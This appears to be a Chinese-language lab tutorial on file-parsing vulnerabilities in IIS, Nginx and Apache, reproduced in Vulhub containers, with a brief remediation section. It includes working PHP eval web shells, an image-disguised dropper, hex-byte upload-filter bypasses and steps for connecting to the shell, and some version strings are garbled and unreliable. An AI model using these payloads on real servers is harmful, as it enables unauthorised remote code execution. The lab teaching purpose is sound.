文件解析漏洞
一、IIS解析漏洞
用windowserver2003安装IIS测试
1.1 IIS6.X
方法一:目录解析
在网站下建立文件夹的名字为.asp/.asa的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
1.txt文件里是asp文件的语法查看当前时间
方法二:畸形文件解析
在IIS6处理文件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg
会被服务器看成是shell.asp
。另外IIS6.0默认的可执行文件除了asp还包含 asa\cer\cdx。
1.asp;.jpg文件内容为<%=now()%>
1.2 IIS7.X
在IIS7.0和I1S7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在一个文件路径/xx.jpg后面加上/xx.php会将/xx.jpg/xx.php解析为 php 文件。
利用条件
- php.ini里的cgi.fix_pathinfo=1 开启
- lS7在Fast-CGl运行模式下
环境配置
下载phpstudy
网址:Windows版phpstudy下载 - 小皮面板(phpstudy) (xp.cn)
步骤二:配置 php.ini文件,将cgi.fix_pathinfo=1 前;删除…并重启…
配置IIS的网站
GetShell
步骤一:将PHP一句话木马写到1.php并更改后缀为1.jpg上传到目标站点…利用解析漏洞进行访问…
http://172.16.1.65:8980/1.jpg/.php
下面的1.jpg写的是phpinfo();
第二步:用菜刀、蚁剑连接
1.3:修复方式
#1.程序方面
1、对新建目录文件名进行过滤,不允许新建包含.的文件夹。
2、取消网站后台新建目录的功能,不允许新建目录。
#2.服务器方面
1、限制上传目录的脚本执行权限,不允许执行脚本。
2、过滤.asp/xm.jpg,通过ISApi组件过滤。 在httpd.ini加入了以下规则 ASP RewriteRule(.*).asp/(.*)/no.gif RewriteRule(.*).Asp/(.*)/no.gif RewriteRule(.*).aSp/(.*)/no.gif RewriteRule(.*).asP/(.*)/no.gif
二、Nginx解析漏洞
2.1:nginx_parsing
这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。在一个文件/xx.jpg后面加上/.php会将/xx.jpg/xx.php 解析为 php 文件。
利用条件
- Nginx <=0.8.37
- cgi.fix_pathinfo=1
利用姿势
Nginx的文件解析漏洞…和I1S7.0的解析漏洞同样的原理,因为 cqi.fix pathinfo=1 造成的解析漏洞…
PS:同样使用1.jpg/.php 方式进行绕过…
案例
步骤一:进入以下Vulhub路径并开启容器…
cd /nginx/nginx_parsing_vulnerability
docker-compose up -d
docker ps -a
步骤二:浏览器中访问网站…
http://192.168.30.131/
步骤三:制作图片码上传
访问图片位置,在后方加上/.php
http://192.168.30.131/uploadfiles/969bd13f5b5a5d582c2a6ef02212b1ae.jpg/.php
步骤四:用蚁剑连接shell
GetShell
步骤一:在shell.jpg中写入以下代码…
GIF89a<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
步骤二:上传该图片并访问…紧接着利用解析漏洞执行其中的PHP代码
http://192.168.30.131/uploadfiles/a7c3ce076585477741d951d179ab07dc.jpg/.php
访问jpg文件后缀加/.php解析成php执行
然后访问shell.php页面为空
蚁剑连接shell
2.2:CVE-2013-4547
此漏洞为文件名逻辑漏洞,该漏洞在上传图片时,修改其16进制编码可使其绕过策略,导致解析为php。当Nginx得到一个用户请求时,首先对url进行解析,进行正则匹配,如果匹配到以.php后缀结尾的文件名,会将请求的PHP文件交给PHP-CGI去解析。
影响版本
Nginx 0.8.411.4.3/1.5.01.5.7
利用姿势
步骤一:使用以下命令启动靶机并通过浏览器访问靶场页面.
cd vulhub-master/nginx/CVE-2013-4547x //切换到靶机目录
docker-compose up -d //打开环境
#靶场页面
http://101.42.118.221:8080
#info.php
<?php phpinfo();?>
步骤二:直接上传 info.php 被拦截…
修改文件后缀为.jpg进行BP抓包上传—>filename在后面添加空格并给上.php 后,在16进制修改中将原本连个空格的 0x20 0x20 修改为如下即 0x20 0x00 进行发包…
放包后页面上传成功
访问
http://192.168.30.131:8089/uploadfiles/shell.jpg%20%20.php
抓包
将%20%20替换成两空格,然后替换16进制从0x20 0x20 替换成0x20 0x00
放行,访问成功
GetShell
如果上传
<?php @eval($_POST['cmd']);?>
里面有空格无法处理就会变成
我们用这句话上传一个shell.php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
用以上的方法加两个空格修改16进制即可
最后可以发现能访问到
蚁剑连接
三、Apache解析漏洞
3.1:apache_parsing
在Apache1.x/2.x中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析就再往左判断。如1.php.xxxxx
利用姿势
步骤一:进入Vulhub靶场并执行以下命令启动靶场…
cd /root/vulhub/httpd/apache_parsing_vulnerability
vi docker-compose.yml 修改端口和版本号
docker-compose up -d
步骤二:访问靶机并上传 shell.php.jpg 文件,文件内容为 phpinfo 函数
3.2:CVE-2017-15715
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
影响版本
2.4.0~2.4.29
利用姿势
步骤一:进入Vulhub靶场并开启目标靶机,进行访问…
cd /root/vulhub/httpd/CVE-2017-15715
vi docker-compose.yml //配置文件,修改端口和版本号
docker-compose up -d //开启
访问
http://192.168.30.131:8091/
步骤二:尝试上传一句话木马文件,发现被拦截…
然后抓包在evil.php后面加上空格,16进制0x20改成0x0a–>放包
访问evil.php文件
蚁剑连接shell